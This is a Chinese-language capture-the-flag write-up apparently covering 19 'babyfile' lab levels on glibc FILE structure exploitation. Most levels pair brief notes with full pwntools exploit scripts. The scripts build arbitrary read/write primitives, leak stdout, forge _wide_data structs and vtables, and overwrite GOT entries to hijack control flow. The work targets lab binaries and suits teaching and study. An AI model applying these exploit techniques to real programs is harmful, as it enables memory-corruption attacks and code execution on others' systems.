前言
Finally,花了五个月差不多把 pwn 学完了,至于剩下的内核什么的后期就当兴趣学了,应该不会变成我的主要研究方向,所以等学完这两章 FSOP 的内容我就去搞 IoT,也能想象明年开始将全力以赴打比赛,暗无天日的坐牢(
总之希望竞赛时期不要太长,最好能够一年退役,我可不想整个大学生活都在坐牢 LOL
Level 1
Information
- Category: Pwn
Description
Harness the power of FILE structs to arbitrarily read data.
Write-up
最简单的一集。 chall 把 flag 读到 bss 了,并且没开 PIE,还给了任意写 FILE 结构体的能力,直接用 pwntools 秒了。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level1"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
flag = 0x4040E0
fp = FileStructure() payload = flat(fp.write(flag, 0x64))
target.send(payload)
target.interactive()
if __name__ == "__main__": main()Level 2
Information
- Category: Pwn
Description
Harness the power of FILE structs to arbitrarily write data to bypass a security check.
Write-up
验证变量,构造任意读即可。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level2"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
authenticated = 0x4041F8
fp = FileStructure() payload = flat(fp.read(authenticated, 0x101))
target.success(fp)
target.send(payload) target.sendline(b"A" * 0xFF)
target.interactive()
if __name__ == "__main__": main()Level 3
Information
- Category: Pwn
Description
Harness the power of FILE structs to redirect data output.
Write-up
以后每题都那么简单就好了(
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level3"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.send(b"\x01")
target.interactive()
if __name__ == "__main__": main()Level 4
Information
- Category: Pwn
Description
Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.
Write-up
越来越有趣了之,File Structure 的千层套路(
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level4"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b"stored at: ") ret = int(target.recvline().strip(), 16)
fp = FileStructure() payload = flat(fp.read(ret, 0x101))
target.send(payload) target.send(flat(elf.sym["win"]).ljust(0x101, b"\x00"))
target.interactive()
if __name__ == "__main__": main()Level 5
Information
- Category: Pwn
Description
Abuse built-in FILE structs to leak sensitive information.
Write-up
能改 stdout 结构体,并且 puts 函数内部会使用 stdout 结构体中的指针来输出值,所以我们只要改掉 write 的几个指针,过一下检查,并且把 flag 设置为 0xfbad1800 就好了。
int_IO_puts (const char *str){ int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout);
if ((_IO_vtable_offset (stdout) != 0 || _IO_fwide (stdout, -1) == -1) && _IO_sputn (stdout, str, len) == len && _IO_putc_unlocked ('\n', stdout) != EOF) result = MIN (INT_MAX, len + 1);
_IO_release_lock (stdout); return result;}
weak_alias (_IO_puts, puts)libc_hidden_def (_IO_puts)0x1000 代表追加到当前 fileno 后面,0x0800 代表正在执行写入操作。
#define _IO_CURRENTLY_PUTTING 0x0800#define _IO_IS_APPENDING 0x1000不过实际上我们也不用改那么多 write 指针,只要把最重要的 _IO_write_base 改掉就好了,剩下的使用残留值。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level5"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
flag = 0x4040C0
fp = FileStructure() fp.flags = 0xFBAD1800 fp._IO_write_base = flag fp._IO_write_ptr = flag + 0x64 fp._IO_write_end = flag + 0x64 payload = flat(fp.struntil("_IO_write_end"))
raw_input("DEBUG") target.send(payload)
target.interactive()
if __name__ == "__main__": main()Level 6
Information
- Category: Pwn
Description
Abuse built-in FILE structs to bypass a security check.
Write-up
上题是改 stdout 使 puts 任意写,这题是改 stdio 使 scanf 任意读。
scanf 的话只要设置 _IO_NO_WRITES 标志并设置 _IO_buf_base 和 _IO_buf_end 就好了,和那几个 read 指针无关。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level6"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
authenticated = 0x4041F8
fp = FileStructure() fp.flags = 0xFBAD0008 fp._IO_buf_base = authenticated fp._IO_buf_end = authenticated + 0x8 payload = flat(fp.struntil("_IO_buf_end"))
raw_input("DEBUG") target.send(payload) target.sendlineafter(b"Please log in.", b"\x01")
target.interactive()
if __name__ == "__main__": main()Level 7
Information
- Category: Pwn
Description
Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.
Write-up
人生中第一道 vtable,也是灰常的简单呢 :D 一开始我看这 description 说是打 vtable 还感觉可能有点难,然非也哈哈哈。
这题就是折腾折腾几个指针而已,要点就是让调用 fwrite 时使用的 FILE structure 的 vtable + 0x38 处保存 __GI__IO_wfile_overflow 的地址,然后这个 __GI__IO_wfile_overflow 内部会调用 _IO_wdoallocbuf,这个函数内部又会调用传给 fwrite 的 FILE structure 的 _wide_data + 0x68 处的函数,我们伪造 _wide_data,令其 +0x68 处保存的是 win 函数地址即可。
一题打消第一次接触 vtable 的恐惧,开心。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level7"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b"libc is: ") libc = int(target.recvline().strip(), 16) - 0x84420 __GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"located at: ") buf = int(target.recvline().strip(), 16)
target.success(f"libc: {hex(libc)}") target.success(f"buf: {hex(buf)}")
payload = flat( { 0x68: elf.sym["win"], 0xE0: buf, }, filler=b"\x00", ) raw_input("DEBUG") target.sendafter(b"Please enter your name.\n", payload)
fp = FileStructure() fp._lock = buf fp._wide_data = buf fp.vtable = __GI__IO_wfile_overflow
raw_input("DEBUG") target.sendafter( b"Now reading from stdin directly to the FILE struct.\n", bytes(fp) )
target.interactive()
if __name__ == "__main__": main()Level 8
Information
- Category: Pwn
Description
Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.
Write-up
和上题差不多,结构体 overlapping 就好了。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level8"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b"libc is: ") libc = int(target.recvline().strip(), 16) - 0x84420 __GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"writing to: ") buf = int(target.recvline().strip(), 16)
target.success(f"libc: {hex(libc)}") target.success(f"buf: {hex(buf)}")
fp = FileStructure() fp._lock = buf fp._wide_data = buf fp.vtable = __GI__IO_wfile_overflow fp.chain = elf.sym["win"]
payload = flat( bytes(fp), buf, )
raw_input("DEBUG") target.send(payload)
target.interactive()
if __name__ == "__main__": main()Level 9
Information
- Category: Pwn
Description
Create a fake _wide_data struct to hijack control of the virtual function table of a built-in FILE struct.
Write-up
做 flag 梦,下 flag 雨(
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level9"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b"libc is: ") libc = int(target.recvline().strip(), 16) - 0x84420 __GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"_IO_read_ptr") buf = int(target.recvline().strip()[-14:], 16) - 0x83
target.success(f"libc: {hex(libc)}") target.success(f"buf: {hex(buf)}")
fp = FileStructure() fp._lock = buf fp._wide_data = buf fp.vtable = __GI__IO_wfile_overflow fp.chain = elf.sym["authenticate"] + 0x25
payload = flat( bytes(fp), buf, ) raw_input("DEBUG") target.send(payload)
target.interactive()
if __name__ == "__main__": main()Level 10
Information
- Category: Pwn
Description
Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.
Write-up
呜呜呜,他甚至在汇编层隐藏了作弊检测(
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level10"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b"libc is: ") libc = int(target.recvline().strip(), 16) - 0x84420 __GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recvuntil(b"writing to: ") buf = int(target.recvline().strip(), 16)
target.success(f"libc: {hex(libc)}") target.success(f"buf: {hex(buf)}")
fp = FileStructure() fp.flags = b"password" fp._lock = buf + 0xE8 fp._wide_data = buf fp.vtable = __GI__IO_wfile_overflow fp.chain = elf.sym["authenticate"]
payload = flat( bytes(fp), buf, ) raw_input("DEBUG") target.send(payload)
target.interactive()
if __name__ == "__main__": main()Level 11
Information
- Category: Pwn
Description
Apply FILE struct exploits to leak a secret value.
Write-up
不好啦,开始结合堆利用啦,感觉要开始变难了……
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level11"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(size).encode())
def del_note(): target.sendlineafter(b"> ", b"del_note")
def write_note(content): target.sendlineafter(b"> ", b"write_note") target.send(content)
def read_note(): target.sendlineafter(b"> ", b"read_note")
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def write_file(): target.sendlineafter(b"> ", b"write_file")
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
secret = 0x404100
new_note(0x10) open_file()
fp = FileStructure() fp.flags = 0x800 fp._IO_read_end = secret fp._IO_write_base = secret fp._IO_write_ptr = secret + 0x100 fp.fileno = 1 payload = flat(fp.struntil("_flags2"))
raw_input("DEBUG") write_fp(payload) write_file() quit()
target.interactive()
if __name__ == "__main__": main()Level 12
Information
- Category: Pwn
Description
Apply FILE struct exploits to write data to bypass a security check.
Write-up
越来越简单,梦回幼儿园(
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level12"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(idx, size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(idx).encode()) target.sendlineafter(b"> ", str(size).encode())
def del_note(idx): target.sendlineafter(b"> ", b"del_note") target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content): target.sendlineafter(b"> ", b"write_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def read_note(idx, content): target.sendlineafter(b"> ", b"read_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def read_file(idx): target.sendlineafter(b"> ", b"read_file") target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def auth(): target.sendlineafter(b"> ", b"authenticate")
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b"located at: ") elf.address = int(target.recvline().strip(), 16) - 0x205D authenticate = elf.address + 0x5170
target.success(f"pie: {hex(elf.address)}") target.success(f"authenticate: {hex(authenticate)}")
open_file()
fp = FileStructure() fp.read(authenticate, 0x10) payload = flat(fp.struntil("_IO_save_base"))
# raw_input("DEBUG") write_fp(payload) new_note(0, 0x8) raw_input("DEBUG") read_file(0) auth() quit()
target.interactive()
if __name__ == "__main__": main()Level 13
Information
- Category: Pwn
Description
Apply FILE struct exploits to write data and hijack control flow.
Write-up
Level 12: When using close_file, be cautious of double free or invalid pointer issues.
Level 13: To resolve issues with stdin breaking after using close_file, consider alternative methods to get an arbitrary read without using close_file.
Level 13: One approach is to perform a leak using write_file and an overwrite using read_file.
感觉 Level 12 和 Level 13 我打的都是非预期 o_O
求漂亮小姐姐浇浇 fclose 怎么利用……
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level13"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(idx, size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(idx).encode()) target.sendlineafter(b"> ", str(size).encode())
def del_note(idx): target.sendlineafter(b"> ", b"del_note") target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content): target.sendlineafter(b"> ", b"write_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def read_note(idx, content): target.sendlineafter(b"> ", b"read_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def write_file(idx): target.sendlineafter(b"> ", b"write_file") target.sendlineafter(b"> ", str(idx).encode())
def read_file(idx): target.sendlineafter(b"> ", b"read_file") target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b"is: ") stack = int(target.recvline().strip(), 16)
target.success(f"stack: {hex(stack)}")
open_file()
fp = FileStructure() fp.write(stack - 0x50, 0x100) payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x10) write_file(0) target.recvlines(4) fp_addr = int.from_bytes(target.recv(0x8), "little") - 0x1E0
target.recv(0x68) libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0 __GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recv(0x48) elf.address = int.from_bytes(target.recv(0x8), "little") - 0x2200
target.success(f"libc: {hex(libc)}") target.success(f"pie: {hex(elf.address)}") target.success(f"fp: {hex(fp_addr)}")
fp = FileStructure() fp._lock = fp_addr fp._wide_data = fp_addr fp.vtable = __GI__IO_wfile_overflow fp.chain = elf.sym["win"] payload = flat( bytes(fp), fp_addr, )
write_fp(payload)
# raw_input("DEBUG") write_file(0) quit()
target.interactive()
if __name__ == "__main__": main()Level 14
Information
- Category: Pwn
Description
Apply FILE struct exploits to write data to hijack control flow.. again?
Write-up
这题泄漏了栈地址,有 fread,所以直接让它写返回地址就好了,多跑几次, 概率成功。我不知道有没有别的打法,提示说 close_file 可能比较有用,不懂,这个预期解到底是啥,我不知道……
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level14"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(idx, size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(idx).encode()) target.sendlineafter(b"> ", str(size).encode())
def del_note(idx): target.sendlineafter(b"> ", b"del_note") target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content): target.sendlineafter(b"> ", b"write_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def read_note(idx, content): target.sendlineafter(b"> ", b"read_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def read_file(idx): target.sendlineafter(b"> ", b"read_file") target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
target.recvuntil(b"is: ") stack = int(target.recvline().strip(), 16) ret = stack + 0x98
target.success(f"stack: {hex(stack)}")
open_file()
fp = FileStructure() fp.read(ret, 0x3) payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x2) # raw_input("DEBUG") read_file(0)
payload = flat( b"\xc9\x03", ) target.send(payload) quit()
target.interactive()
if __name__ == "__main__": main()Level 15
Information
- Category: Pwn
Description
Apply FILE struct exploits to overwrite a GOT entry.
Write-up
比上题简单,直接改 GOT 表。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level15"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(idx, size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(idx).encode()) target.sendlineafter(b"> ", str(size).encode())
def del_note(idx): target.sendlineafter(b"> ", b"del_note") target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content): target.sendlineafter(b"> ", b"write_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def read_note(idx, content): target.sendlineafter(b"> ", b"read_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def read_file(idx): target.sendlineafter(b"> ", b"read_file") target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
open_file()
fp = FileStructure() fp.read(elf.got["printf"], 0x9) payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x8) # raw_input("DEBUG") read_file(0)
payload = flat( elf.sym["win"], ) target.send(payload) quit()
target.interactive()
if __name__ == "__main__": main()Level 16
Information
- Category: Pwn
Description
Apply FILE struct exploits to overwrite a built-in FILE struct and print the flag.
Write-up
泄漏了 libc,可以算出 stdout,所以使 fread 从 stdin 向 stdout 读,然后修改 stdout 输出缓冲区。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level16"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(idx, size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(idx).encode()) target.sendlineafter(b"> ", str(size).encode())
def del_note(idx): target.sendlineafter(b"> ", b"del_note") target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content): target.sendlineafter(b"> ", b"write_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def read_note(idx, content): target.sendlineafter(b"> ", b"read_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def read_file(idx): target.sendlineafter(b"> ", b"read_file") target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
secret = 0x405100
target.recvuntil(b"is: ") libc.address = int(target.recvline().strip(), 16) - 0x84420 stdout = libc.sym["_IO_2_1_stdout_"]
target.success(f"libc: {hex(libc.address)}") target.success(f"stdout: {hex(stdout)}")
open_file()
fp = FileStructure() fp.read(stdout, 0x78)
payload = flat(fp.struntil("_flags2"))
write_fp(payload)
stdout = FileStructure() stdout.write(secret, 0x100)
payload = flat(stdout.struntil("_flags2"))
new_note(0, 0x70) raw_input("DEBUG") read_file(0)
raw_input("DEBUG") target.send(payload) quit()
target.interactive()
if __name__ == "__main__": main()Level 17
Information
- Category: Pwn
Description
Apply FILE struct exploits to read/write data and capture the flag.
Write-up
没办法泄漏任何地址,咋办嘞?又回到了 glibc 堆分配机制问题上来…… fopen 会 malloc 一块 File Structure buffer,而 fclose 会 free 掉 fopen 分配的 buffer,那么,我们只要先调用 open_file fopen 一个文件,它会设置 fp,然后调用 close_file 释放,再打开包含 flag 的文件,此时这个 fopen 会复用之前的地址,由于 close 的时候没有清空 fp 指针,所以此时 fp 指向我们的 flag 结构体,之后我们就可以把 flag 内容搞到用户分配的 buffer 中了,最后篡改 fp 的 fileno 为 stdout,调用 write_file 会将 buffer 内容写到这个 fp 的 fileno 中,成功泄漏 flag。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level17"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(idx, size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(idx).encode()) target.sendlineafter(b"> ", str(size).encode())
def del_note(idx): target.sendlineafter(b"> ", b"del_note") target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content): target.sendlineafter(b"> ", b"write_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def read_note(idx, content): target.sendlineafter(b"> ", b"read_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def read_file(idx): target.sendlineafter(b"> ", b"read_file") target.sendlineafter(b"> ", str(idx).encode())
def write_file(idx): target.sendlineafter(b"> ", b"write_file") target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def open_flag(): target.sendlineafter(b"> ", b"open_flag")
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
open_file() close_file() open_flag() new_note(0, 0x100) read_file(0)
fp = FileStructure() fp.write(0, 0x100) payload = flat(fp.struntil("_flags2"))
# raw_input("DEBUG") write_fp(payload) write_file(0) quit()
target.interactive()
if __name__ == "__main__": main()Level 18
Information
- Category: Pwn
Description
Apply FILE struct exploits to arbitrarily read/write data or hijack control flow.
Write-up
没开 PIE 有 fwrite 且可篡改 fp 那还不是轻轻松松?
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, FileStructure, args, context, flat, process, raw_input, remote,)
FILE = "/challenge/babyfile_level18"HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0)
def new_note(idx, size): target.sendlineafter(b"> ", b"new_note") target.sendlineafter(b"> ", str(idx).encode()) target.sendlineafter(b"> ", str(size).encode())
def del_note(idx): target.sendlineafter(b"> ", b"del_note") target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content): target.sendlineafter(b"> ", b"write_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def read_note(idx, content): target.sendlineafter(b"> ", b"read_note") target.sendlineafter(b"> ", str(idx).encode()) target.send(content)
def open_file(): target.sendlineafter(b"> ", b"open_file")
def close_file(): target.sendlineafter(b"> ", b"close_file")
def write_file(idx): target.sendlineafter(b"> ", b"write_file") target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload): target.sendlineafter(b"> ", b"write_fp") target.send(payload)
def open_flag(): target.sendlineafter(b"> ", b"open_flag")
def quit(): target.sendlineafter(b"> ", b"quit")
def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT, ssl=True)
def main(): launch()
open_file()
fp = FileStructure() fp.write(elf.bss(), 0x150) payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x10) write_file(0)
target.recvlines(4) libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0 __GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recv(0x140) fp_ptr = int.from_bytes(target.recv(0x8), "little")
target.success(f"libc: {hex(libc)}") target.success(f"fp: {hex(fp_ptr)}")
fp = FileStructure() fp._lock = fp_ptr fp._wide_data = fp_ptr fp.vtable = __GI__IO_wfile_overflow fp.chain = elf.sym["win"] payload = flat( bytes(fp), fp_ptr, )
write_fp(payload)
new_note(0, 0x100) raw_input("DEBUG") write_file(0) quit()
target.interactive()
if __name__ == "__main__": main()Level 19
Information
- Category: Pwn
Description
Apply FILE struct exploits to arbitrarily read/write data or hijack control flow.
Write-up
笑死了,说明我上一题是非预期解,咋一看和上题没啥区别啊,删了点功能而已,但是被删的功能我一个也没用上,测试直接用上题一样的 exp,通了……
